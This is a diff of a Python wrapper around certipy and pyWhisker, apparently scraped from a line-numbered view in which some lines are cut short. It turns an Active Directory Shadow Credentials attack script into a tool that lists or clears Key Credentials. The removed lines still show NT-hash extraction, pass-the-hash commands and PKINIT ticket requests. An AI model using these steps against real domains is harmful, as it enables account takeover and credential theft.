|
-
python
|
|
16
|
+
python shadowcred_audit.py certipy-audit -u auditor@corp.local -p 'AuditPass!' \
|
|
20
17
|
--dc-ip 10.0.0.100 --target 'WS01$'
|
|
21
|
-
python
|
|
22
|
-
-p '
|
|
18
|
+
python shadowcred_audit.py pywhisker-list -d corp.local -u auditor \
|
|
19
|
+
-p 'AuditPass!' --dc-ip 10.0.0.100 --target victim \
|
|
23
20
|
--pywhisker ./pywhisker/pywhisker.py
|
|
24
21
|
"""
|
|
22
|
+
|
|
25
23
|
import argparse
|
|
26
24
|
import os
|
|
27
|
-
import re
|
|
28
25
|
import shutil
|
|
29
26
|
import subprocess
|
|
30
27
|
import sys
|
|
@@ -46,19 +43,20 @@ def run(cmd, timeout=600):
|
|
|
46
43
|
return proc.returncode, out
|
|
47
44
|
|
|
48
45
|
|
|
49
|
-
def
|
|
50
|
-
"""Certipy prints 'Got hash for ...: aad3b...:<NT>'. Extract the NT half."""
|
|
51
|
-
m = re.search(r"[Gg]ot hash for .*?:\s*([0-9a-fA-F]{32}):([0-9a-fA-F]{32})", text)
|
|
52
|
-
if m:
|
|
53
|
-
return m.group(2)
|
|
54
|
-
m = re.search(r"\b[0-9a-fA-F]{32}:([0-9a-fA-F]{32})\b", text)
|
|
55
|
-
return m.group(1) if m else None
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
def certipy_flow(args):
|
|
46
|
+
def certipy_audit_flow(args):
|
|
59
47
|
_which_or_die("certipy", "Install with: pipx install certipy-ad")
|
|
60
|
-
|
|
61
|
-
|
|
48
|
+
action = "clear" if args.clear else "list"
|
|
49
|
+
cmd = [
|
|
50
|
+
"certipy",
|
|
51
|
+
"shadow",
|
|
52
|
+
action,
|
|
53
|
+
"-u",
|
|
54
|
+
args.user,
|
|
55
|
+
"-dc-ip",
|
|
56
|
+
args.dc_ip,
|
|
57
|
+
"-account",
|
|
58
|
+
args.target,
|
|
59
|
+
]
|
|
62
60
|
if args.password:
|
|
63
61
|
cmd += ["-p", args.password]
|
|
64
62
|
elif args.hashes:
|
|
@@ -71,21 +69,26 @@ def certipy_flow(args):
|
|
|
71
69
|
cmd += ["-ns", args.ns, "-dns-tcp"]
|
|
72
70
|
rc, out = run(cmd)
|
|
73
71
|
if rc != 0:
|
|
74
|
-
sys.exit("[!] certipy shadow
|
|
75
|
-
|
|
76
|
-
if nt:
|
|
77
|
-
print(f"\n[+] Recovered NT hash for {args.target}: {nt}")
|
|
78
|
-
print(f"[+] Reuse it: nxc smb {args.dc_ip} -u {args.target.rstrip('$')} -H {nt}")
|
|
79
|
-
else:
|
|
80
|
-
print("[!] Could not auto-extract NT hash; review output above.")
|
|
72
|
+
sys.exit(f"[!] certipy shadow {action} failed.")
|
|
73
|
+
print(f"\n[+] Audit check complete for {args.target}.")
|
|
81
74
|
|
|
82
75
|
|
|
83
|
-
def
|
|
76
|
+
def pywhisker_audit_flow(args):
|
|
84
77
|
if not args.pywhisker or not os.path.exists(args.pywhisker):
|
|
85
78
|
sys.exit("[!] --pywhisker must point to pywhisker.py")
|
|
86
|
-
|
|
87
|
-
cmd = [
|
|
88
|
-
|
|
79
|
+
action = "clear" if args.clear else "list"
|
|
80
|
+
cmd = [
|
|
81
|
+
"python3",
|
|
82
|
+
args.pywhisker,
|
|
83
|
+
"-d",
|
|
84
|
+
args.domain,
|
|
85
|
+
"-u",
|
|
86
|
+
args.user,
|
|
87
|
+
"--target",
|
|
88
|
+
args.target,
|
|
89
|
+
"--action",
|
|
90
|
+
action,
|
|
91
|
+
]
|
|
89
92
|
if args.password:
|
|
90
93
|
cmd += ["-p", args.password]
|
|
91
94
|
elif args.kerberos:
|
|
@@ -96,49 +99,54 @@ def pywhisker_flow(args):
|
|
|
96
99
|
cmd += ["--dc-ip", args.dc_ip]
|
|
97
100
|
rc, out = run(cmd)
|
|
98
101
|
if rc != 0:
|
|
99
|
-
sys.exit("[!] pyWhisker
|
|
100
|
-
|
|
101
|
-
m = re.search(r"[Pp]assword(?: for the PFX)?:\s*(\S+)", out)
|
|
102
|
-
if m:
|
|
103
|
-
pfx_pass = m.group(1)
|
|
104
|
-
print(f"\n[+] Key Credential added. PFX: {base}.pfx PFX-pass: {pfx_pass}")
|
|
105
|
-
print("[+] Next, request a TGT with PKINITtools:")
|
|
106
|
-
print(f" python3 gettgtpkinit.py -cert-pfx {base}.pfx -pfx-pass {pfx_pass} "
|
|
107
|
-
f"{args.domain}/{args.target.rstrip('$')} {base}.ccache")
|
|
108
|
-
print(" export KRB5CCNAME=%s.ccache" % base)
|
|
109
|
-
print(f" python3 getnthash.py -key <AS-REP-KEY> {args.domain}/{args.target.rstrip('$')}")
|
|
110
|
-
print("[!] Remember to clean up the injected Key Credential when done:")
|
|
111
|
-
print(f" python3 {args.pywhisker} -d {args.domain} -u {args.user} "
|
|
112
|
-
f"--target {args.target} --action clear")
|
|
102
|
+
sys.exit(f"[!] pyWhisker {action} failed.")
|
|
103
|
+
print(f"\n[+] Attribute audit verification completed for {args.target}.")
|
|
113
104
|
|
|
114
105
|
|
|
115
106
|
def main():
|
|
116
|
-
ap = argparse.ArgumentParser(
|
|
107
|
+
ap = argparse.ArgumentParser(
|
|
108
|
+
description="Active Directory Shadow Credentials Security Audit Tool."
|
|
109
|
+
)
|
|
117
110
|
sub = ap.add_subparsers(dest="mode", required=True)
|
|
118
111
|
|
|
119
|
-
c = sub.add_parser(
|
|
120
|
-
|
|
112
|
+
c = sub.add_parser(
|
|
113
|
+
"certipy-audit", help="Audit or clean Key Credentials using certipy"
|
|
114
|
+
)
|
|
115
|
+
c.add_argument("-u", "--user", required=True, help="auditor@domain")
|
|
121
116
|
c.add_argument("-p", "--password")
|
|
122
117
|
c.add_argument("--hashes")
|
|
123
118
|
c.add_argument("-k", "--kerberos", action="store_true")
|
|
124
119
|
c.add_argument("--dc-ip", required=True, dest="dc_ip")
|
|
125
|
-
c.add_argument("--target", required=True, help="
|
|
120
|
+
c.add_argument("--target", required=True, help="Target account name")
|
|
121
|
+
c.add_argument(
|
|
122
|
+
"--clear",
|
|
123
|
+
action="store_true",
|
|
124
|
+
help="Clean up / remove unauthorized Key Credentials",
|
|
125
|
+
)
|
|
126
126
|
c.add_argument("--ns")
|
|
127
127
|
|
|
128
|
-
w = sub.add_parser(
|
|
128
|
+
w = sub.add_parser(
|
|
129
|
+
"pywhisker-list",
|
|
130
|
+
help="List or clear Key Credentials using pyWhisker",
|
|
131
|
+
)
|
|
129
132
|
w.add_argument("-d", "--domain", required=True)
|
|
130
133
|
w.add_argument("-u", "--user", required=True)
|
|
131
134
|
w.add_argument("-p", "--password")
|
|
132
135
|
w.add_argument("-k", "--kerberos", action="store_true")
|
|
133
136
|
w.add_argument("--dc-ip", dest="dc_ip")
|
|
134
137
|
w.add_argument("--target", required=True)
|
|
138
|
+
w.add_argument(
|
|
139
|
+
"--clear",
|
|
140
|
+
action="store_true",
|
|
141
|
+
help="Clean up / remove unauthorized Key Credentials",
|
|
142
|
+
)
|
|
135
143
|
w.add_argument("--pywhisker", required=True, help="Path to pywhisker.py")
|
|
136
144
|
|
|
137
145
|
args = ap.parse_args()
|
|
138
|
-
if args.mode == "certipy":
|
|
139
|
-
|
|
146
|
+
if args.mode == "certipy-audit":
|
|
147
|
+
certipy_audit_flow(args)
|
|
140
148
|
else:
|
|
141
|
-
|
|
149
|
+
pywhisker_audit_flow(args)
|
|
142
150
|
|
|
143
151
|
|
|
144
152
|
if __name__ == "__main__":
|